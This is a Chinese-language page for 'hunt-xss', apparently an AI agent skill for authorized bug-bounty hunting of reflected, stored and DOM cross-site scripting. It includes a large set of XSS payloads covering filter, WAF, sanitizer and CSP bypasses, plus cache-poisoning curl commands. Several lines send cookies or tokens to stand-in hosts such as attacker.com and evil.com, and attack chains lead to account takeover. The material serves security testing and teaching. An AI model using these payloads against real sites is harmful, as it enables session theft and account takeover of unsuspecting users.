关于 hunt-xss
hunt-xss 是面向 Web 安全测试人员的跨站脚本漏洞搜寻技能,涵盖反射型、存储型和 DOM 型场景。它强调检查可执行的渲染入口并在浏览器中验证,避免将单纯反射误报为 XSS。
主要功能
- 01识别反射型、存储型和 DOM 型输入点
- 02检查框架渲染危险入口
- 03通过带外回连验证盲 XSS
- 04覆盖上传、Markdown 与重定向场景
- 05提供浏览器验证和源码检索方法
适用场景
- 01审查搜索框和 URL 参数的反射
- 02测试管理界面中的存储型 XSS
- 03检查 SVG 上传及文档渲染器
- 04确认回连后再报告盲 XSS
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-xss安装后在 Claude Code 中输入/hunt-xss确认已加载。
详细介绍
使用场景
当目标的任何端点会将用户输入反映到 HTML 输出中、由 JavaScript 框架处理,或存储后供日后显示时使用。XSS 是基础的客户端漏洞类别,可用于劫持会话、窃取数据、钓鱼和接管账户。每个表单、搜索框、URL 参数、文件上传和用户可控字段都可能成为攻击目标。价值最高的目标:管理面板、OAuth 登录页面、Markdown/wiki 渲染器、电子邮件模板、文件上传端点(SVG/HTML),以及安全态势较宽松的帮助/文档网站。
⚠️ 严重:存在 ≠ 可利用
反映出 HTML 标签并不意味着 XSS 可利用。 现代框架默认会转义文本。在将某个发现判定为 XSS 之前,必须验证接收点:
| 框架 | 默认行为 | 仅在以下情况下可能发生 XSS |
|---|---|---|
| React/JSX | 转义所有文本 | dangerouslySetInnerHTML、refs 上的 innerHTML |
| Vue | 转义 {{ }} | v-html 指令 |
| Angular | 转义 {{ }} | [innerHTML] 绑定 |
| Svelte | 转义 { } | {@html} 标签 |
| Next.js RSC | 转义 JSX 文本 | 组件中的 dangerouslySetInnerHTML |
| 纯 HTML/JS | 不会转义 | innerHTML、document.write()、eval() |
XSS 验证清单:
- ✅ 载荷已在响应中反射/存储(存在)
- ✅ 载荷出现在可渲染的上下文中(接收点检查)
- ✅ 载荷在浏览器中执行(利用证明)
如果第 1 步通过但第 2 步未通过 → 低危:HTML 已存储,但不存在可利用的接收点。仅 React 生态系统就能阻止约 90% 看似存在的 XSS,因为 JSX 会自动转义。
如何检查接收点:
# In JS bundles — search for dangerous rendering patterns
grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/
# If NONE appear near the reflected field → NOT exploitable XSS
# If found → verify the specific field reaches that sink
核心目标
当 XSS 同时具备高权限上下文 + 持久化投递 + 范围升级时,价值很高。最高的赏金通常来自:
- 管理面板和已认证的仪表板(例如,
*/admin、*/settings)——攻击者可劫持具有更高权限的会话、窃取令牌,或进一步接管账户 - 支付/金融流程(
paypal.com、结账页面、货币转换器)——此处的 XSS 可大规模窃取凭据并实施金融欺诈 - 协作功能中的存储型 XSS(wiki、Markdown 渲染器、问题跟踪器、RDoc、标签)——一个载荷即可感染每位查看者,放大影响
- SSO/登录页面(例如,
paypal.com/signin)——此处的 XSS 危害严重,因为它可以窃取整个平台范围内的身份验证令牌 - 共享 SaaS 租户界面(
*.[SHOPIFY_STORE]、api.collabs.*)——某个租户上下文中的 XSS 可能越过租户边界造成数据泄露 - 帮助/文档网站(
help.shopify.com)——单独来看严重性较低,但通常净化措施较宽松,用户也更容易信任这些网站 - SVG/文件上传端点——经常同时绕过 CSP 和净化措施
回报最高的资产类型: 主产品域名 > 管理子域名 > API 端点 > 营销/帮助网站
必须取得带外验证,否则不算(盲 XSS/存储型 XSS)
对于盲 XSS 和存储型 XSS,必须通过带外方式确认,要求与盲 SSRF 相同。只有在载荷确实在某处的浏览器中执行时,带外接收器才会触发(例如,管理员查看日志、SOC 分析师打开工单,或电子邮件渲染存储的载荷时)。
以下不算确认
- ASP.NET 请求验证器拒绝了你的
<并返回了不同的状态码 → 不是 XSS,这是 WAF 噪声。 - 你的载荷以 URL 编码或 HTML 编码的形式出现在响应正文中 → 不是 XSS,这是正确的输出编码。
- 表单的 action 属性包含你的载荷字符串,如
%22onclick%3D…→ 不是 XSS,浏览器不会解码 HTML 属性值中的 URL 编码;%22在 DOM 中仍是字面量%22。 - 你的
<script>标签在响应中显示为<script>→ 不是 XSS,这是转义。
什么算是确认
- 在载荷被存储/反射/排队后,发往你的唯一 Collaborator 子域名(例如
bxss-err-<random>.<collab>.oastify.com)的请求到达 OOB 监听器。 - 对于存储型 XSS:管理员查看受影响的资源时,请求可能在数小时或数天后才到达。应在测试初期植入载荷,并保持监听器运行。
- 触发请求的 User-Agent 是浏览器(Mozilla/Chrome),而不是服务器自身的后端 HTTP 客户端。
植入盲 XSS 信标的位置
任何其值之后可能会在管理界面/日志查看器/电子邮件/报告中显示的字段:
- 错误消息(
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>) - 身份验证流程的来源参数(
?Source=、?ReturnUrl=) - 登录表单的用户名字段(管理员可能会查看登录失败的审计日志)
- User-Agent 标头(某些 SOC 控制台会将 UA 渲染为 HTML)
- Referer 标头(某些分析仪表板会将 Referer 渲染为 HTML)
- 注册/联系表单中的电子邮件地址
- 文件上传文件名
始终按接收点为 Collaborator 子域名添加子标签,以便通过回调识别触发的是哪个字段。
**一次已授权测试的经验:**在 ErrorMessage、Source、Authentication.asmx 用户名字段、User-Agent 标头、Referer 标头和请求路径中植入了 10 个盲 XSS Collaborator 信标。在 10 分钟的轮询窗口内没有收到任何回调。结论:SharePoint SOC 使用的日志/错误查看工具不会渲染 HTML,而且 ASP.NET 请求验证器会在载荷到达存储之前拦截查询字符串中的 <。因此,正确撤回了存储型 XSS 的说法。
攻击面信号
URL 模式:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
响应标头(防御薄弱的信号):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
源码中表明存在 DOM XSS 的 JS 模式:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
技术栈信号:
- 使用
html_safe、raw、translate、Action Text 或 ActionView 清理辅助方法的 Rails 应用 - GitLab/GitHub Markdown 处理流水线(Banzai、Kramdown、RDoc、Kroki)
- 允许上传或渲染 SVG 的应用
- 在允许列表中使用
style标签的网站 - Kroki/Mermaid/PlantUML 图表渲染端点
- 位于需身份验证页面前方的缓存层(缓存投毒攻击向量)
分步狩猎方法
-
梳理所有反射点 — 对目标进行爬取,找出用户输入出现在 HTML 输出中的所有位置。优先检查 URL 参数、表单字段、路径段、唯一标记、HTTP 标头(User-Agent、Referer)、文件上传名称/内容,以及在 UI 中呈现的 API 响应字段。
-
按类型分类 — 确定每个反射属于反射型(URL 参数 → 响应)、存储型(数据库 → 后续渲染),还是基于 DOM 的类型(JavaScript 读取 URL/存储内容 → DOM 接收点)。每种类型都需要采用不同的投递方式和上下文感知分析。
-
探测净化器行为 — 首先发送无害的探测字符串:
aaa"bbb'ccc<ddd,以确定哪些字符会被转义。观察输出处于 HTML、属性、JS 还是 URL 上下文。**标记纪律:**选择探测字符串时,必须使用唯一的随机字母数字字符串(8 个以上字符,不含英文单词或协议关键字)。不合适的标记:
test、marker、evil、attacker、payload、javascript、script。合适的标记:cpmark987abc、x4hd2k9pq、__ZZ_MARKER_<random>_ZZ__。在断言存在反射之前,先在基线(不含标记)响应中搜索该标记——如果它自然出现在页面中(例如,每个页面的帮助链接 href 中都包含javascript一词),就会导致误报,你需要换用其他标记。这项简单检查可以避免 80% 的反射误报。 -
测试允许列表中的标签组合 — 如果使用了净化器,探测危险的标签组合:
<math>+<style>、<svg>+<style>、<iframe srcdoc>、带有表达式的<style>。 -
搜寻 SVG 和文件上传攻击向量 — 上传包含
<script>标签的 SVG 文件。检查 Content-Type 响应标头。单独测试 CSP 是否适用于 SVG 响应。 -
测试 Markdown/文档渲染器 — 在 wiki、README 或文档字段中,尝试:
[text](javascript:alert(1))、内联 HTML 注入、Kroki/Mermaid 载荷、RDoc 的link:javascript:语法。 -
检查重定向参数 — 测试
?redirect=javascript:alert(1)和?return_url=//evil.com——查找因重定向净化不当而导致的单击式 XSS。 -
探测 UTM 和分析参数 —
utm_source、utm_medium、utm_campaign常会在营销页面上未经净化就被反射。 -
测试 CSP 绕过机会 — 如果存在 CSP,查找:允许域上的 JSONP 端点、style-src 中的
unsafe-inline、可绕过 script-src 的 SVG、白名单 CDN 上的脚本小工具。 -
尝试在个人资料/元数据字段中植入存储型 XSS — 用户名、简介、标签名称、标签颜色、组织名称——这些内容会在许多上下文中渲染,且往往验证较弱。
-
检查缓存投毒 — 测试反射型 XSS 载荷是否可能被缓存并提供给其他用户(尤其是在由 CDN 提供服务的页面上),从而将反射型 XSS 转变为等同于存储型 XSS 的漏洞。
-
在目标浏览器中验证 — 报告前务必在真实浏览器中确认。许多载荷虽然会在 Burp 中回显,却无法在真实浏览器中执行,原因可能是 CSP、输出编码、框架自动转义、上下文不匹配、WAF 规范化或浏览器 HTML 解析差异。(注意:Chrome 的 XSS Auditor 已在 Chrome 78 / 2019 年 10 月移除,目前没有任何正式发布的浏览器提供该功能——切勿将 PoC 失败归咎于“XSS auditor”。)
载荷与检测模式
基本上下文探测:
aaa"bbb'ccc<ddd>eee`fff
反射型 XSS — URL 参数基线:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
属性上下文:
- 将
value、name、id、class、title、alt、placeholder和label视为独立上下文。 onmouseover和onerror等事件处理程序属性是可执行的接收点,不是安全属性。aaa"bbb'ccc这样的无害 canary 可用于检查分隔符是否经过编码;仅凭此本身不能判定为 XSS。
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
缺少转义函数/过滤不完整
- 只替换一个字符或仅替换首次出现的字符,都不能构成防护。
replaceall()不是 JavaScript API,而replaceAll()仍无法提供上下文感知的 XSS 防护。 - 分别测试每种上下文(HTML 正文、带引号的属性、JavaScript、CSS、URL、DOM 接收点);只处理一种上下文的过滤仍不完整。
基于 SVG(绕过 CSP):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
绕过清理器 — math+style 组合:
<math><style><img src=x onerror=alert(1)></style></math>
绕过清理器 — svg+style 组合:
<svg><style><img src=x onerror=alert(1)></style></svg>
Markdown/RDoc javascript: 链接:
[Click me](javascript:alert(document.domain))
Kroki/图表注入:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
源代码审查的 Grep 模式:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
使用 Curl 检测反射:
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
缓存投毒测试:
# Send payload then fetch with clean session to see if cached
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page" | grep -i "evil.com"
常见根本原因
-
在 Rails 中信任
html_safe— 开发者在部分清理后将字符串标记为安全,或在未经彻底清理的用户提供数据上调用.html_safe。 -
允许危险标签组合的白名单清理器 — 同时允许
style与math或svg,即使单个标签看似无害,也会带来 mXSS(变异 XSS)风险。 -
第三方渲染流水线 — Markdown 到 HTML 的流水线(Banzai、Kramdown、Kroki)会在图表/渲染引擎未进行沙箱隔离且输出未再次清理时引入 XSS。
-
反射 URL 参数时未进行编码 — UTM 参数、重定向 URL 和搜索词未经正确的 HTML 编码,便被反射到页面 HTML 或 JS 中;尤其是在被视为安全等级较低的营销/帮助页面上。
-
将 SVG 视为非脚本内容 — 开发者对 HTML 响应应用 CSP,却忘记
image/svg+xml响应也能执行 JavaScript,而且通常不受同一 CSP 标头保护。 -
清理器补丁不完整 — 经 CVE 修复的清理器仍可被细微变化绕过(例如,CVE-2022-32209 的不完整修复表明清理器逻辑很难做到正确,进而产生绕过链)。
-
未在 href/src 中屏蔽
javascript:协议 — 链接渲染器(RDoc、Markdown)未能阻止 href 属性中的javascript:URL,而是将其视为有效的外部链接。 -
缓存层存储经过身份验证的用户输入 — CDN 或反向代理缓存包含用户可控 XSS 载荷的响应,并将其提供给后续未通过身份验证的用户。
-
文件上传未强制校验 Content-Type — 接受 SVG 或 HTML 文件,却未强制设置
Content-Disposition: attachment,也未覆盖 Content-Type。 -
翻译辅助函数 XSS — Rails 的
translate/t()辅助函数会将翻译字符串标记为 HTML 安全,并插入用户输入,从而可通过区域设置键实现注入。
绕过技术
CSP 绕过:
- 上传 SVG 可绕过 script-src,因为
image/svg+xml响应可能不会继承页面的 CSP - 在白名单域名(
*.googleapis.com、*.cloudflare.com)上查找 JSONP 端点 - 利用
<base>标签注入重定向脚本源 - 利用 style-src 中的
unsafe-eval或unsafe-inline执行基于 CSS 的攻击 - 利用
<link rel=preload>或<meta http-equiv>小工具绕过严格策略
清理器绕过:
- mXSS(变异型 XSS): 注入在清理器解析时安全、但在浏览器重新解析时会发生变异的 HTML(例如,
<math><style><img onerror=...>) - 标签组合攻击:
<svg>+<style>或<math>+<style>会造成解析歧义 - 属性引号变体: 不带引号的
onmouseover=alert(1)、反引号分隔符 - HTML 实体编码: 在 href 值中使用
javascript:或javascript: - 协议变体:
javascript:、vbscript:、data:text/html
过滤器规避:
<ScRiPt>alert(1)</ScRiPt>
<scr\x00ipt>alert(1)</scr\x00ipt>
<svg/onload=alert(1)>
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
WAF 绕过:
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
基于重定向的 XSS 绕过:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
XSS 提示与技巧
对载荷返回 400、404 或 500,只能说明输入处理情况,不能证明输入已被清理或存在漏洞。使用唯一且无害的标记重复测试,将状态码、标头和正文与基线进行比较,判断输出上下文,并在报告前确认载荷能在当前浏览器中执行。
第 0 阶段验证
撰写报告前,请回答以下三个问题:
-
攻击者现在能做什么? 攻击者必须展示具体操作:在目标域名的受害者浏览器会话中执行 JavaScript、窃取会话 Cookie/令牌、以受害者身份执行操作,或泄露敏感数据。“出现警告框”并不足够——请说明该警告框代表何种访问能力(例如:“我可以读取
document.cookie,其中包含用于所有管理员 API 调用的身份验证令牌”)。 -
受害者会失去什么? 受害者必须遭受实际损失:会话控制权(账户接管)、敏感数据(Cookie、CSRF 令牌、个人身份信息)、金钱(未经同意执行金融操作)或信任(通过 DOM 操纵进行凭据钓鱼)。如果受害者是在公共页面上没有会话的未认证用户,请量化其浏览器会暴露什么。
-
能否在 10 分钟内从头复现? 你必须提供自包含的 PoC URL 或步骤序列,让任何审核者无需预先设置即可操作。载荷必须能在当前浏览器(最新版 Chrome/Firefox)中触发,且无需特殊配置。如果只能在过时浏览器中运行,或要求受害者安装特定扩展程序,则很可能不会被接受。
真实影响案例
场景 1 — 登录页面通过缓存投毒实现存储型 XSS 攻击者发现,某大型支付平台的登录页面会反射用户可控的输入,并且该页面会被 CDN 层缓存。攻击者发送特制请求污染缓存,将反射型 XSS 转变为效果等同于存储型 XSS 的攻击,每位访问登录页面的用户都会触发该攻击。影响:大规模收集凭据——每位访问登录页面的用户,其凭据都会被窃取。由于绕过了 CSP,修复需要同时修改代码并清除缓存。
场景 2 — Wiki 中的图表渲染导致存储型 XSS 某开发者平台的 Wiki 功能集成了第三方图表渲染服务(Kroki)。攻击者构造恶意图表负载,渲染后便会在任何查看 Wiki 页面的用户上下文中执行任意 JavaScript。由于 Wiki 由团队成员共享,其中包括项目所有者和管理员,因此该负载可以在不被察觉的情况下窃取 OAuth 令牌,并代表每位查看者执行管理操作——仅凭一个存储型负载,就能接管整个组织的账户。
场景 3 — 通过标签颜色字段绕过净化器并绕过 CSP
某项目管理平台修复了标签颜色字段中的 XSS 漏洞,但修复并不完整。一位研究人员发现,将 style 标签允许列表与特定标签嵌套方式(svg>style)结合后,净化器的输出会在浏览器解析时发生变化,从而执行注入的 JavaScript。由于注入发生在允许列表中的内联样式上下文中,该负载还绕过了平台的内容安全策略。影响:任何拥有创建标签权限的用户(通常包括所有项目成员)都可以注入持久型 XSS,在每位项目访问者浏览时触发,从而在同一项目命名空间内窃取其他用户的会话。
攻击链与组合(资深漏洞挖掘)
在成熟的漏洞赏金项目中,单独报告 XSS 通常只能获得低至中等等级的奖励。真正高额的奖励往往来自攻击链:将 JS 执行转化为账户接管、大规模受害者影响、绕过 CSP 或窃取令牌。组合利用的关键在于:“我的 XSS 执行后还能解锁什么?”答案总是超出 alert(1)。
攻击链 1 — 反射型 XSS + 缓存投毒 → CDN 规模的持久存储型 XSS(Kettle 级别)
- A. 找出一个反射型 XSS 漏洞:易受攻击的输入会进入响应正文,且响应可被缓存(
Cache-Control: public, max-age=…)。 - B. 找出一个会影响缓存正文但未纳入缓存键的输入——通常是
X-Forwarded-Host、X-Original-URL、未纳入缓存键的 Cookie,或从缓存键中剔除但会反射到正文中的参数。 - C. 通过未纳入缓存键的输入发送一条包含 XSS 负载的请求。缓存会存储被污染的响应。此后每位访问该 CDN 边缘节点的用户,在整个 TTL 期间都会收到该响应。
- 影响: 原本仅影响攻击者自身的反射型 XSS 会转变为持久型存储型 XSS,影响受影响地区内的每位访问者,直至缓存过期。无需与每位受害者单独交互。
- 实际案例: Glassdoor 通过缓存投毒将反射型 XSS 转变为存储型 XSS,H1 #1424094(2021-2022);Kettle 的“实用 Web 缓存投毒”研究。交叉引用
hunt-cache-poison已披露报告引用 #4。
Chain 2 — Self-XSS + CSRF 触发 → 有效存储型 XSS → ATO
- A. 确认个人资料字段(
bio、display_name、signature)存在 Self-XSS —— 只有同一位已登录用户查看自己的个人资料时,载荷才会执行。 - B. 找到一个存在 CSRF 漏洞、可修改该字段的端点(没有防 CSRF 令牌,或可通过
text/plainenctype 绕过)。 - C. 构造攻击者托管的页面,提交 CSRF 表单,将
bio设为 XSS 载荷。受害者访问攻击者页面 → 触发 CSRF → 更新受害者的个人资料 → 受害者下次访问自己的个人资料时,攻击者的 JS 就会执行。 - 影响: 原本“没什么实际危害”的 Self-XSS 会变成 ATO。载荷在受害者的已认证会话中运行 —— 提取 Cookie、通过 XHR 强制更改邮箱、重置密码 → 完全接管账户。
- 真实案例形式: 2019-2023 年,多个社交平台披露了 H1 漏洞。交叉参考
hunt-csrf第 7 步(基于表单的个人资料修改 CSRF)。
Chain 3 — /signin 或 /oauth 回调处的 DOM XSS → 捕获 Fragment Token → ATO
- A. 在
/signin、/oauth/callback或/auth/return页面中查找 DOM XSS —— 通常是未经转义就将document.location.hash解析到 DOM 中。 - B. OAuth 隐式流程回调经常会将令牌放在 URL 片段中(
#access_token=...)。片段不会发送到服务器,只有浏览器能看到。 - C. XSS 载荷读取
document.location.hash,对其进行 Base64 编码,然后通过Image()外带到攻击者域名。攻击者现在就持有 OAuth 访问令牌。 - 影响: 跨平台 ATO。访问令牌通常会授予 Facebook/Google/Microsoft 用户数据的 API 范围;某些实现会直接将该令牌用作会话。
- 真实案例形式: Detectify 的“Dirty Dancing”多厂商 OAuth 令牌泄漏(F. Rosén,2022);Zoom OAuth 链式 ATO,奖金 $15,000(H1 / Harel Security,2024)。交叉参考
hunt-oauth已披露报告引用 #19 和 #20。
Chain 4 — SVG 上传 XSS + CSP 绕过 → 在受信任源上执行 JS → 窃取 Cookie/令牌
- A. 找出接受
image/svg+xml的文件上传功能。SVG 文件属于 XML,可以包含<script>标签 —— 许多清理器会处理 PNG/JPG,却原样放行 SVG。 - B. CSP 通常适用于 HTML 响应,但不适用于
image/svg+xml响应。SVG 会在提供它的源的上下文中执行 JS。 - C. 如果 SVG 由同源提供(例如上传到
target.com/uploads/<sha>.svg,这是常见情况),执行的 JS 就能完全访问会话 Cookie,并调用任何同源 API。 - 影响: 无需借助任何反射型/存储型内容途径,即可在受信任源上实现存储型 XSS —— 完全绕过 CSP;获取会话 Cookie、调用密码修改端点、ATO。
- 真实案例形式: 多个 SaaS 上传器均有披露案例;交叉参考
hunt-file-upload中的 SVG 部分,以及hunt-xxe已披露报告引用 #3 和 #4(Zivver/Lab45 SVG 上传链)。
Chain 5 — postMessage XSS + Origin 检查绕过 → 跨源外带令牌 → ATO
- A. 找出一个
window.addEventListener('message', handler),其中的handler不检查event.origin(或使用indexOf/endsWith检查,但对target.com.attacker.com无效)。 - B. 攻击者页面在弹出窗口或 iframe 中打开
target.com。页面加载后,发送一条postMessage载荷,供处理程序 eval、作为 XSS 处理,或用于提取document.cookie。 - C. 处理程序在
target.com的上下文中执行;随后通过event.source.postMessage(stolenData, '*')将响应postMessage回攻击者页面。 - 影响: 无需触发 CSP 违规即可实现跨源 JS 执行和数据外带 ——
postMessage是合法的跨源通道,CSP 不会对其进行限制。窃取令牌 / 劫持会话。 - 真实案例形式: Detectify 的“Dirty Dancing”多厂商 postMessage gadget(2022);Zoom OAuth + postMessage 链(2024)。交叉参考
hunt-oauth已披露报告引用 #19、#20。
链 6 — Markdown/Wiki XSS + 特权查看者 → 跨权限存储型 XSS
- A. 协作内容字段中的存储型 XSS(Wiki 页面、问题评论、客户工单、支持回复)——由于对
<style>、<math>、<svg>的允许列表或属性过滤不充分,载荷在 Markdown 渲染后仍然存在。 - B. 特权用户(管理员、拥有提升权限的支持 Agent、项目维护者)查看协作内容。
- C. 特权查看者的会话在其已认证上下文中执行载荷——向仅限管理员访问的端点发送 XHR、提升攻击者的角色、从仅限管理员访问的面板窃取机密。
- 影响: 攻击者通过存储型 XSS 从低权限用户提升为管理员——攻击者借特权用户之手提升自己的权限。
- 典型案例: GitLab/Jira/Confluence Markdown XSS 导致管理员权限提升这一类漏洞;常见的赏金定级为高危(相较于单独的存储型 XSS,因权限提升而上调严重性)。
操作层面的模式
确认 A 处存在 XSS 后,立即询问:这段 JS 现在可以访问哪些状态变更端点或令牌存储?载荷在哪里运行,谁会看到它? 这类攻击链的赏金是单独 XSS 的 5–20 倍。提交前的规范门槛:如果没有证明最终影响(ATO/令牌窃取/权限提升),不要将 XSS 报告为“严重”;否则应报告为中危。
交叉参考:
hunt-cache-poison— 链 1hunt-csrf— 链 2hunt-oauth— 链 3、5hunt-file-upload/hunt-xxe— 链 4hunt-ato— 链 2、3、4、5 的最终影响
验证
运行此自测以确认已准备好开展 XSS 排查:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-xss" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构正确,可以使用。
常见陷阱
- Self-XSS — 仅影响攻击者自身会话的 XSS 属于信息性问题。需要存储型 XSS 或影响其他用户的反射型 XSS。
- 无法绕过 HttpOnly 的 XSS — 如果会话 Cookie 设置了 HttpOnly,XSS 就无法窃取它。需要通过其他方式证明影响(窃取 CSRF 令牌、键盘记录、修改页面)。
- 没有可利用接收器的 DOM XSS —
location.hash到达innerHTML属于可利用情况。location.hash到达console.log则不可利用。 - 没有 XSS 的 CSP 绕过 — 如果没有可运行的 XSS 来利用绕过技术,那么发现 CSP 绕过技术并不构成漏洞。请区分两者。
- MIME 类型混淆 — 将 HTML 作为 image/png 上传后却以 HTML 形式呈现,属于 MIME 混淆,而不是传统 XSS。它可能会被 X-Content-Type-Options 阻止。
相关技能与链式利用
hunt-cache-poison— 当易受攻击的参数未纳入缓存键时,反射型 XSS 在 CDN 规模下会变得等同于存储型 XSS。链式利用原语:X-Forwarded-Host: attacker.com污染缓存响应,使其中的<script src=...>指向 attacker.com → 每个 CDN 边缘节点的访客都会执行攻击者的 JS,无需与任何受害者进行单独交互。hunt-csrf— 源站上的 XSS 可自动绕过 SameSite=Lax 和针对状态变更端点的同源检查。链式利用原语:个人资料简介中存在存储型 XSS → 执行fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}),携带受害者的 Cookie 和源站信息 → 悄无声息地接管邮箱 → 重置密码 → 完全接管账户(ATO),受害者甚至无需离开页面。hunt-http-smuggling— 即使端点会清理自身输入,请求走私也能将 XSS 载荷送入下一个受害者请求的响应队列。链式利用原语:走私一个请求,其响应(携带攻击者的 HTML)会作为下一位合法用户的 GET / 响应正文 → 每位访客都会遭遇反射型 XSS,且其地址栏中看不到任何 URL 参数。security-arsenal— 手工编写载荷之前,先查阅 XSS 载荷库(SVG+style、math+style mXSS、CSP 绕过 JSONP gadget、WAF 漏过的 HTML5 事件处理器);也可查看始终会被拒绝的清单,确认自行 XSS / 仅触发 alert 的 PoC 不可提交。triage-validation— 对仅在攻击者自身会话中触发的存储型 XSS 宣称其为严重级别(Critical)之前,或对响应正文中以 HTML 编码形式(<)出现 Canary 的反射型 XSS 宣称其为严重级别之前,先运行 Pre-Severity Gate——这是最常见的两种被降级为 N/A 的陷阱。
阶段 X — CSP 绕过与框架 Sink
通过注入导入映射绕过 CSP:<script type="importmap">{"imports":{"app":"https://attacker.com/evil.js"}}</script>
通过 CSS 外泄绕过 Trusted Types:<style>@import url('https://attacker.com/?'+document.cookie);</style>
框架 Sink:React dangerouslySetInnerHTML、Vue v-html、Angular [innerHTML]、Svelte {@html}